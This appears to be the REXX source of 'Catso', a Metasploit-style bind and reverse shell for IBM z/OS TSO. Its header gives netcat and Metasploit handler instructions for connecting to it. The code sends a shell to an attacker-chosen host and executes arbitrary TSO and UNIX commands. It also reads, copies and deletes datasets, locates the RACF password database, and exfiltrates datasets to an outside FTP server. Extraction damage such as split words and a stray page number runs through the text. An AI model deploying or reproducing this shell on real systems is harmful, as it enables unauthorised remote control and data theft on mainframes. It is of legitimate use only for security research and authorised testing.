/*  Catso. n. 1. A base fellow; a rogue; a cheat,                    */  
/*               also a z/OS Network TSO 'shell'                     */  
/*                                                                   */  
/ *  Catso is a A "meterpreter" like shell written in REXX.           */  
/*  Yet another amazing mainframe tool brought to you by:            */  
/*             .                  .         .                        */  
/*             .___________       ._________.                        */  
/*             :    .     /       :         :                        */  
/*             |    |____/________|    _____|                        */  
/*             |____.    |        |         |                        */  
/*              |    |    |    :   |   ______:                        */  
/*             |    |    |    |   |   |     .                        */  
/*             :_________|________|___|                              */  
/*             . Soldier     of     Fortra n                          */  
/*                   (@mainframed767)                                */  
/*                                                                   */  
/*  This is a REXX script meant to run in TSO on IBM z/OS            */  
/*  It cre ates a Listener or Reverse 'shell' on a supplied port      */  
/*  Connect to it with either metasploit or netcat                   */  
/*                                                                   */  
/*  Either upload the script and execute: tso ex ' userid.zossock'    */  
/*  or use a JCL file and execute it that way                        */  
/*  On the PC side you can use Netcat or Metasploit to connect.      */  
/*                                                                   */  
/*  In  Listener Mode                                                 */  
/*  ================                                                 */  
/*  On the Mainframe:                                                */  
/*  <scriptname> L Port                                              */  
/*                                                                   */  
/*  With Metasploit:                                                 */  
/*  msf > use multi/handler                                          */  
/*  msf exploi t(handler) > set payload generic/shell_bind_tcp        */  
/*  payload => generic/shell_bind_tcp                                */  
/*  msf exploit(handler) > set RHOST IP  (Mainframe IP Address)      */  
/*  msf exploit(handler) > set LPORT Port (the port yo u picked)      */  
/*  msf exploit(handler) > exploit                                   */  
/*                                                                   */  
/*  With Netcat:                                                     */  
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/*  $ nc IP Port                                                     */  
/*                                                                   */  
/*  In Reverse Mode                                                  */  
/*  ================                                                 */  
/*  With Metasploit:                                                 */  
/*  msf > use multi/handler                                          */  
/*  msf exploit(handler) > set payload generic/shell_reverse_tcp     */  
/*  payload => generic/shell_r everse_tcp                             */  
/*  msf exploit(handler) > set lhost your - ip - address                 */  
/*  msf exploit(handler) > set LPORT your - port                       */  
/*  msf exploit(handler) > exploit                                   * /  
/*                                                                   */  
/*  With Netcat:                                                     */  
/*  $ nc - lp your_port                                               */  
/*                                                                   */  
/*  On the Mainframe:                                                */  
/*  <scriptname> R your - ip - addredd your - port                         */  
/*                                                                   */  
/*  AS CII Art modified from:                                         */  
/*   http://sixteencolors.net/pack/rmrs - 03/DW- CHOOS.ANS              */  
/*                                                                   */  
/*                   Let's start the show!                           */  
/* ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ */  
  
/* Uncomment this line to turn on debugging */  
/* TRACE I */  
/* change verbose to 1 to see results on the screen */  
verbose = 1  
  
if verbose then say ''  
if verbose then say ''  
if verbose then say ''  
pwd = userid()  
NEWLINE = "25"x /* this is the hex equivalent of EBCDIC /n */  
  
PARSE ARG type arghost argport  
  
/* Parse the arguments to see what we want to do */  
SELECT 
WHEN type = 'L' THEN  
DO 
   IF arghost  = '' THEN  
   DO 



	  

 

 
 
 

25|Page 

     if verbose then say "[+] You specified Listener without a port."  
     if verbose then say "Using default: 12345"  
     arghost = 12345  
   END 
if verbose then say '[+] Listening on port:' arghost  
party = MATT_DAEMON(arghost)  
END 
WHEN type = 'R' THEN  
DO 
  IF arghost = '' | argport = '' THEN  
  DO 
   SAY '[!] You must pass a host and port when using Reverse'  
   EXIT 4  
  END 
  if verbose then say '[+] Sending shell to' arghost||":"||argport  
 ttime = RIVER_SONG(arghost,argport) /* Reverse Con nection */  
END 
OTHERWISE  /* Excellent */  
    if verbose then  
    DO 
        PARSE SOURCE . . . . name .  
        say "No arguments passed! Run this as either server or client:"  
        say "Reverse Shell: "||name||" R IP PORT"  
        say  "Listener Shell: "||name||" L PORT"  
    END 
    EXIT 4  
END /* End the arguments parser */  
  
MATT_DAEMON: /* Starts the listener mode */  
    parse arg port  
    terp = SOCKET('INITIALIZE','DAEMON',2)  
    /* terp is short for z - terpreter */  
    parse var terp terp_rc .  
    IF terp_rc <> 0 THEN  
    DO 
      if verbose then say "[!] Couldn't create socket"  
      exit 1  
    END 
    terp = Socket('GetHostId')  
    parse var terp socket_rc MF_IP .  
    terp = Socket('Gethostname')  
    parse var terp src hostname  
    /* setup the socket */  
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    terp = SOCKET('SOCKET')  
    parse var terp socket_rc socketID .  
    if socket_rc <> 0 then  
    DO 
      if verbose then say "[!] Socket FAILED with info:" terp  
      terp = SOCKET('TERMINATE')  
      exit 1  
    END 
  
    /* Se tup: ASCII conversion, Reuse, no linger and non - blocking */  
  terp = Socket('SETSOCKOPT',socketID,'SOL_SOCKET','SO_REUSEADDR','ON')  
    terp = Socket('SETSOCKOPT',socketID,'SOL_SOCKET','SO_LINGER','OFF')  
    terp = Socket('IOCTL',socketID,'FIONBIO','ON')  
    terp = Socket('BIND',socketID,'AF_INET' port MF_IP)  
    parse var terp connect_rc rest  
    if connect_rc <> 0 then  
    DO 
      if verbose then say "[!] Bind Failed:" terp  
      CALL DAVID_COULIER(1)  
    END 
    if verbose then say "[!] IP" MF_IP "and Port" port "opened"  
    terp = Socket('Listen',socketID,2)  
    parse var terp src .  
    if src > 0 then DAVID_COULIER(1)  
    if verbose then say '[+] Server Ready'  
  
    clients = ''  
   DO FOREVER /* Like, forever forever? A: Yes. */  
    terp = Socket(' Select','READ' socketID clients 'WRITE' 'EXCEPTION')  
parse upper var terp 'READ' readin 'WRITE' writtin 'EXCEPTION' exceptin  
  
    IF INLIST(socketID,readin) THEN /* see if we have a new socket */  
    DO 
     terp = Socket('Accept',socketID)  
     parse var  terp src hackerID . hport hip  
     if verbose then say "[!] Connection from "||hip||":"||hport  
     clients = hackerID  
     if verbose then say '[+] Hacker socket ID' clients  
     terp = Socket('Socketsetstatus')  
     parse var terp src . status  
     if  verbose then say '[+] Current Status' status  
     terp = Socket('Setsockopt',hackerID,'SOL_SOCKET','SO_ASCII','ON')  
     terp = Socket('Ioctl',hackerID,'FIONBIO','ON' )  
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     terp = SOCKET('SEND',hackerID, "Enter command or 'help'> ")  
    END /* end new co nnection check */  
/* If the READ is our hacker socket ID then do all the goodness */  
/* since there's only one socket allowed, it will only be that id */  
    if readin = hackerID THEN  
    DO 
     ARNOLD = commando(hackerID) /* get the command */  
     if ve rbose then say "[+] Commands received: "||ARNOLD  
     parse = CHOPPA(hackerID,ARNOLD) /* Get the cmd to da choppa! */  
    END 
   END /* OK not forever */  
  
return 0  
  
RIVER_SONG: /* Get it? Reverse Con? Yea you got it! */  
PARSE ARG rhost,  rport  
    terp =  SOCKET('INITIALIZE','CLIENT',2)  
    /* terp is short for z - terpreter */  
    terp = SOCKET('SOCKET',2,'STREAM','TCP')  
    parse var terp socket_rc socketID .  
    if socket_rc <> 0 then  
    do  
       if verbose then say "[!] Socket FAILED with info:" terp  
       terp = SOCKET('TERMINATE')  
       exit 1  
    end  
    /* Okay now we setup so it can do EBCDIC to ASCII conversion */  
    terp = SOCKET('SETSOCKOPT',socketID,'SOL_SOCKET','SO_ASCII','On')  
    parse var terp ascii_rc .  
    if ascii_rc <> 0 then  
    do  
      if verbose then say "[!] Setting ASCII mode failed:" terp  
      exit 1  
    end  
    terp = SOCKET('SOCKETSETSTATUS','CLIENT')  
    if verbose then say "[+] Socket Status is" terp  
    terp = SOCKET('CONNECT',socketID,'AF_INET' rport rhost)  
    parse va r terp connect_rc rest  
    if connect_rc <> 0 then  
    do  
      if verbose then say "[!] Connection Failed:" terp  
      CALL DAVID_COULIER(4)  
    end  
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    if verbose then say "[!] Connection Established to",  
                        rhost||":"||rport  
    ter p = SOCKET('SEND',socketID, "Enter command or 'help'> ")  
  
    DO FOREVER /* The never end storyyyyy */  
      ARNOLD = commando(socketID) /* get the command */  
      if verbose then say "[+] Commands received: "||ARNOLD  
      parse = CHOPPA(socketID,ARNOLD ) /* get the cmd to da choppa! */  
    END /* Atreyu! */  
return 0  
  
DAVID_COULIER: /* CUT. IT. OUT. */  
    parse arg exito .  
    terp = SOCKET('CLOSE',socketID)  
    EXIT exito  
return 0  
  
CHOPPA: 
parse arg sockID, do_it  
parse var do_it do_it do_commands  
/* We have our socket and commands not lets do this */  
    SELECT 
        WHEN do_it = 'sysinfo' THEN  
        DO 
          send_it = GET_OS_INFO()  
          if verbose then say '[!] Sending OS Info'  
          terp = SOCKET('SEND',sockID, send_it||NEWLINE)  
        END 
        WHEN do_it = 'cat' THEN  
        DO 
          send_it = CAT_FILE(do_commands)  
          if verbose then say '[!] Catting file' do_commands  
          terp = SOCKET('SEND',sockID, send_it||NEWLINE)  
        END 
        WHEN do_it = 'cd' THEN  
        DO 
            if verbose then say '[!] CD to' do_commands  
            send_it = NEWLINE||"cd to "||do_commands||NEWLINE  
            pwd = do_commands  
            terp = SOCKET('SEND',sockID, send_it||NEWLINE)  
        END 
        WHEN do_it = 'pwd'  THEN 
        DO 
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          send_it = NEWLINE||UPPER(pwd)||NEWLINE  
          if verbose then say '[!] Sending PWD of:' pwd  
          terp = SOCKET('SEND',sockID, send_it||NEWLINE)  
        END 
        WHEN do_it = 'ls' THEN  
        DO 
          IF do_command s = '' THEN  
            send_it = LS(sockID,pwd)  
          ELSE 
            send_it = LS(sockID,do_commands)  
          if verbose then say '[!] Sending LS COMMAND'  
          terp = SOCKET('SEND',sockID, send_it||NEWLINE)  
        END 
        WHEN do_it = 'c p' THEN  
        DO 
          send_it = CP(do_commands)  
          if verbose then say '[!] Copying' do_commands  
          terp = SOCKET('SEND',sockID, send_it||NEWLINE)  
        END 
        WHEN do_it = 'del' | do_it = 'delete' THEN  
        DO 
          send _it = DELETE(do_commands)  
          if verbose then say '[!] Deleting' do_commands  
          terp = SOCKET('SEND',sockID, send_it||NEWLINE)  
        END 
  
        WHEN do_it = 'unix' THEN  
        DO 
          send_it = UNIX_COMMAND(do_commands)  
          if  verbose then say '[!] Sending UNIX COMMAND'  
          terp = SOCKET('SEND',sockID, send_it||NEWLINE)  
        END 
        WHEN do_it = 'tso' | do_it = 'execute' THEN  
        DO 
          send_it = TSO_COMMAND(do_commands)  
          if verbose then say '[!]  Executing TSO Command' do_commands  
          terp = SOCKET('SEND',sockID, send_it||NEWLINE)  
        END 
        WHEN do_it = 'ftp' THEN  
        DO 
          send_it = UPLOAD_FILE(do_commands)  
          if verbose then say '[!] Using FTP to upload to' do_commands 
          terp = SOCKET('SEND',sockID, send_it||NEWLINE)  
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        END 
        WHEN do_it = 'getuid' THEN  
        DO 
          send_it = GET_UID()  
          if verbose then say '[!] Sending UID'  
          terp = SOCKET('SEND',sockID, send_it||NEW LINE)  
        END 
        WHEN do_it = 'lsmem' THEN  
        DO 
          IF do_commands = '' THEN  
            send_it = LS_MEMBERS(pwd)  
          ELSE 
            send_it = LS_MEMBERS(do_commands)  
          if verbose then say '[!] Sending Members'  
          terp = SOCKET('SEND',sockID, send_it||NEWLINE)  
        END 
        WHEN do_it = 'ipconfig' | do_it = 'ifconfig' THEN  
        DO 
          send_it = GET_IP_INFO()  
          if verbose then say '[!] Sending IP Info'  
          terp = SOCKET('SEND',s ockID, send_it||NEWLINE)  
        END 
        WHEN do_it = 'racf' THEN  
        DO 
          send_it = GET_RACFDB()  
          if verbose then say '[!] Sending RACF Database Dataset Name'  
          terp = SOCKET('SEND',sockID, send_it||NEWLINE)  
        END 
        WHEN do_it = 'help' THEN  
        DO 
          send_it = GET_HELP()  
          if verbose then say '[!] Sending Help'  
          terp = SOCKET('SEND',sockID, send_it||NEWLINE)  
        END 
        WHEN do_it = 'quit' | do_it = 'exit' THEN  
        DO 
          if verbose then say '[!] POP POP!'  
          CALL DAVID_COULIER(0) /* jackalope */  
     END 
     OTHERWISE /* The end of our options */  
         if verbose then say '[!] Unrecognized Command'  
    END /* End the select section */  
    terp  = SOCKET('SEND',sockID, "Enter command or 'help'> ")  
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  return 0  
  
INLIST: procedure  
arg sock, socklist  
  
DO i = 1 to words(socklist)  
  if words(socklist) = 0  
    then return 0  
  if sock = word(socklist,i)  
    then return 1  
end  
  
return 0  
  
commando:  /* G ET IN DA CHOPPA */  
parse arg socket_to_use  
/* get commands */  
     choppa = ''  
     sox = SOCKET('RECV',socket_to_use,10000)  
     parse var sox s_rc s_type s_port s_ip s_results  
     parse var sox s_rc s_data_len s_data_text  
     if s_rc <> 0 then  
     do  
        if verbose then say "[!] Couldn't get data"  
        CALL DAVID_COULIER(1)  
     end  
     /* Strip off the last byte cause it's all weird */  
     chopper = DELSTR(s_data_text, LENGTH(s_data_text))  
  return chopper  
  
  
GET_UID: /* returns the UID */  
   text = NEWLINE||"Mainframe userID: "||userid()||NEWLINE  
   return text  
  
GET_IP_INFO:  
/* Uses TSO command 'netstat home' to get IP config */  
/* Requires TSO segment */  
   x = OUTTRAP('var.')  
   address tso  "NETSTAT HOME"  
   parse var var.1 a1 a2 a3 a4 a 5 a6 a7 a8 type .  
   text = NEWLINE||"TCP/IP Name:" type||NEWLINE  
   IPADDR = SOCKET('GETHOSTID')  
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   parse var IPADDR ip_rc ip_addr  
  text = text||"Connected using IP Address: "||ip_addr||NEWLINE||NEWLINE  
   j = 1  
   DO i = 5 TO var.0  
       parse var var.i garbage ip_addr link flag_sp  
       flag = SPACE(flag_sp,0)  
       text = text||"Interface "||j||NEWLINE||"=========="||NEWLINE,  
       "Name         : "||link||NEWLINE,  
       "IPv4 Address : "||ip_addr||NEWLINE,  
       "Flag         : "||flag||NEWL INE||NEWLINE  
       j = j + 1  
   end  
   x = OUTTRAP(OFF)  
 return text  
  
GET_RACFDB: 
/* Gets the dataset (aka file) name of the RACF database */  
/* This requires a TSO segment */  
   x = OUTTRAP('var.')  
   address tso "RVARY LIST"  
   parse var var.4 active1 use1 num1 volume1 dataset1_sp  
   parse var var.5 active2 use2 num2 volume2 dataset2_sp  
   dataset1 = SPACE(dataset1_sp,0)  
   dataset2 = SPACE(dataset2_sp,0)  
   if use1 = 'PRIM' then  
     text = NEWLINE||"Primary"||NEWLINE||"========"||NEWLINE  
   else  
     text = NEWLINE||"Backup"||NEWLINE||"========"||NEWLINE  
  
     text = text||" Active    : "||active1||NEWLINE,  
            "FileName  : "||dataset1||NEWLINE||NEWLINE  
   if use2 = 'PRIM' then  
     text = text||"Primary"||NEWLINE||"========"||NEWLINE  
   else  
     text = text||"Backup"||NEWLINE||"========"||NEWLINE  
  
     text = text||" Active    : "||active2||NEWLINE,  
                  "Filename  : "||dataset2||NEWLINE  
   x = OUTTRAP(OFF)  
   return text  
  
UNIX_COMMAND: 
/* Executes a UNIX command (aka OMVS) */  
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    parse arg unix_command  
    CALL BPXWUNIX unix_command,,out.  
    text = ''||NEWLINE /* blank out text */  
    DO i = 1 TO out.0  
       text = text||out.i||NEWLINE  
    END 
  return text  
  
TSO_COMMAND: 
/* outputs the results of a TSO command */  
   parse arg tso_do  
   text = NEWLINE||"Issuing TSO Command: "||tso_do||NEWLINE  
   u = OUTTRAP('tso_out.')  
   ADDRESS TSO tso_do  
   u = OUTTRAP(OFF)  
   DO i = 1 to tso_out.0  
      text = text||tso_out.i||NEWLINE  
   END 
 return text  
  
GET_OS_INFO: 
/* z/OS Operating System Information */  
/* Lots of help from the LPINFO script from */  
/* www.longpelaexpertise.com.au */  
   cvtaddr = get_dec_addr(16)  
   zos_name = Strip(Storage(D2x(cvtaddr+340),8))  
   ecvtaddr = get_dec_addr(cvtaddr+140)  
   zos_ver = Strip(Storage(D2x(ec vtaddr+512),2))  
   zos_rel = Strip(Storage(D2x(ecvtaddr+514),2))  
   sysplex = Strip(Storage(D2x(ecvtaddr+8),8))  
   jes_p = SYSVAR('SYSJES')  
   parse var jes_p jes .  
   jes_node = jes||' (Node: '|| SYSVAR('SYSNODE')||')'  
   security_node = get_security_syst em(cvtaddr+992)  
   text = NEWLINE,  
       "Computer    : LPAR "|| zos_name||NEWLINE,  
       "Sysplex     : "||sysplex||NEWLINE,  
       "OS          : z/OS" zos_ver||.||zos_rel||NEWLINE,  
       "Job Entry   : "||jes_node||NEWLINE,  
       "Security    : "||s ecurity_node||NEWLINE,  
       "Meterpreter : z/OS REXX"||NEWLINE  
   return text  
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get_dec_addr: /* Needed for GET_OS_INFO */  
     parse arg addr  
     hex_addr = d2x(addr)  
     stor = Storage(hex_addr,4)  
     hex_stor = c2x(stor)  
     value = x2d(hex_stor)  
  return value  
get_security_system:  /* needed for GET_OS_INFO */  
     parse arg sec_addr  
     cvtrac = get_dec_addr(sec_addr)  
     rcvtid = Storage(d2x(cvtrac),4)  
     if rcvtid = 'RCVT' then return 'RACF'  
     if rcvtid  = 'RTSS' then return 'CA Top Secret'  
     if rcvtid = 'ACF2' then return 'CA ACF2'  
   return 0  
  
CAT_FILE:  
/* Cats a file and returns it to the screen */  
  parse arg meow .  
  cat = STRIP(meow)  
  ADDRESS TSO "ALLOC F(intemp) DSN('"||cat||"') SHR"  
  ADDRESS TSO "EXECIO * DISKR intemp (FINIS STEM TIGER."  
  ADDRESS TSO "free file(intemp)"  
  text = NEWLINE||'File: '||meow||NEWLINE  
  text = text||'File Length: '||TIGER.0||NEWLINE  
  DO i = 1 TO TIGER.0  
      text = text||TIGER.i||NEWLINE  
  
  END 
 return text  
  
CP: /* Uses a JCL to copy one file to the other */  
    parse arg from_DS to_DS  
    IF to_DS = '' THEN  
    DO 
      text = NEWLINE||"cp command requires a to and a from.",  
             "You only supplied: "||from_DS||NEWLINE  
      return text  
    END 
    DROPBUF 0 
    queue "//CPTHATS EXEC PGM=IEBGENER"  
    queue "//SYSPRINT DD SYSOUT=*"  
    queue "//SYSIN    DD DUMMY"  
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    queue "//SYSUT1   DD DSN="||from_DS||",DISP=SHR"  
    queue "//SYSUT2   DD DSN="||to_DS||","  
    queue "//     LIKE="||from_DS||","  
    queue "//     DISP=(NEW,CATLG,DELETE),"  
    queue "//     UNIT=SYSDA"  
    queue "/*"  
    queue "@#"  
    v = OUTTRAP('sub.')  
    ADDRESS TSO "SUB * END(@#)"  
    v = OUTTRAP(OFF)  
  text = NEWLINE||"File "||from_DS||" copied to "||to_DS||NEWLINE  
  return text  
  
DELETE: 
    /* Deletes a file or dataset member */  
    parse arg deleteme .  
    IF deleteme = '' THEN  
    DO 
      text = NEWLINE||"You didn't supply a dataset to delete"  
      return text  
    END 
    d = OUTTRAP('tdel.')  
    ADDRESS TSO "DELETE '"|| deleteme||"'"  
    /* if you don't put '' around a dataset it prepends your userid */  
    d = OUTTRAP(OFF)  
    text = NEWLINE  
    DO i = 1 to tdel.0  
      text = text||NEWLINE||tdel.i  
    END 
  return text  
  
UPLOAD_FILE:  
/* Uploads a file from the mainframe  to an FTP server */  
/* It submits a JOB which uploads the file */  
/* FYI this doesn't always work with a debian FTP server */  
    parse arg ftp_server username password dataset binary .  
    DROPBUF 0 /* clear the buffer */  
    queue "//FTP      EXEC PGM=F TP,"  
    queue "//         PARM='"||ftp_server||" (EXIT' "  
    queue "//SYSMDUMP DD   SYSOUT=* "  
    queue "//SYSPRINT DD   SYSOUT=* "  
    queue "//INPUT DD * "  
    queue username  
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    queue password  
    if binary = "binary" then queue put "binary"  
    queue "put '"||dataset||"'"  
    queue "quit "  
    queue "/*"  
    queue "@#"  
    ADDRESS TSO "SUB * END(@#)"  
    text = NEWLINE||"Uploading file "||dataset||" to "||ftp_server,  
           "using user name"||username||"."  
    if binary = "binary" then  
        text = text||" Using Binary transfer mode."  
    else  
        text = text||" Not using Binary transfer mode."  
  return text  
  
LS:  
/* Lists datasets given a high level qualifier (hlq) */  
    parse arg suckit, hilevel .  
    filez = STRIP(hilevel)  
    IF fil ez = '' then filez = USERID()  
    hedr = NEWLINE||" Listing Files: " filez||".*"||NEWLINE,  
           "========================================="||NEWLINE  
    terp = SOCKET('SEND',suckit, hedr)  
    text = NEWLINE  
    b = OUTTRAP('ls_cmd.')  
    ADDRESS TSO "LISTC LEVEL("||filez||")"  
    b = OUTTRAP(OFF)  
    filed = 1  
    DO i = 1 to ls_cmd.0  
       IF filed THEN  
        DO 
          text = text||ls_cmd.i||NEWLINE  
          filed = 0  
        END 
       ELSE 
          filed = 1  
    END 
  
  return text  
  
LS_MEMBERS: 
/* Lists datasets given a 'high level qualifier, or HLQ */  
    parse arg hilevelmem .  
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    text = NEWLINE  
    x = OUTTRAP('members.')  
    ADDRESS TSO "LISTDS '"||hilevelmem||"' members"  
    x = OUTTRAP(OFF)  
    DO i = 7 TO members. 0 
       members.i = STRIP(members.i)  
       text = text||' -- > '||hilevelmem||"("||members.i||")"||NEWLINE  
    END 
  return text  
  
UPPER: 
/* Of all the built - in functions, this isn't one of them */  
    PARSE UPPER ARG STRINGED 
    return STRINGED  
  
GET_HELP: 
/* Help command */  
       help = NEWLINE,  
       "Core Commands"||NEWLINE,  
       "============="||NEWLINE||NEWLINE,  
       "  Command           Description"||NEWLINE,  
       "  -------            ----------- "||NEWLINE,  
       "  help              Help Menu"||NEWLINE,  
       "  exit              Terminate the session"||NEWLINE,  
       "  quit              Terminate the session"||NEWLINE,  
       NEWLINE||NEWLINE,  
       "Filesystem Commands"||NEWLINE,  
       "==================="||NEWLINE||NEWLINE,  
       "  Command           Description"||NEWLINE,  
       "  -------            ----------- "||NEWLINE,  
       "  cat               Show contents of dataset"||NEWLINE,  
       "  cp                copies a file to a new file"||NEWLINE,  
       "  ls                list datasets in HLQ"||NEWLINE,  
       "  delete            deletes a file"||NEWLINE,  
       "  del               also deletes a file"||NEWLINE,  
       "  lsmem             Lists files and members",  
       "                    !!WARNING!! Takes time a nd IO"||NEWLINE,  
       NEWLINE||NEWLINE,  
       "Networking Commands"||NEWLINE,  
       "==================="||NEWLINE||NEWLINE,  
       "  Command           Description"||NEWLINE,  
       "  -------            ----------- "||NEWLINE,  
       "  ipconfig           Display interfaces"||NEWLINE,  
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       "  ifconfig          Display interfaces"||NEWLINE,  
       NEWLINE||NEWLINE,  
       "System Commands"||NEWLINE,  
       "==============="||NEWLINE||NEWLINE,  
       "  Command           Description"||NEWLINE,  
       "  -------            ----------- "||NEWLINE,  
       "  getuid            Get current user name"||NEWLINE,  
       "  sysinfo           Remote system info (i.e OS)"||NEWLINE,  
       "  racf              Show password database location",  
       NEWLINE, 
       "  execute           Execute a TSO command"||NEWLINE,  
       "  tso               Execute TSO command (same as execute)",  
       NEWLINE, 
       "  unix              UNIX command (i.e ls - al)"||NEWLINE,  
       "  ftp               Upload a file from t he mainframe to",  
       NEWLINE, 
       "                    an FTP server. Syntax is:"||NEWLINE,  
       "                    host/ip user pass filename [binary]",  
       NEWLINE||NEWLINE 
     return help  
 

 


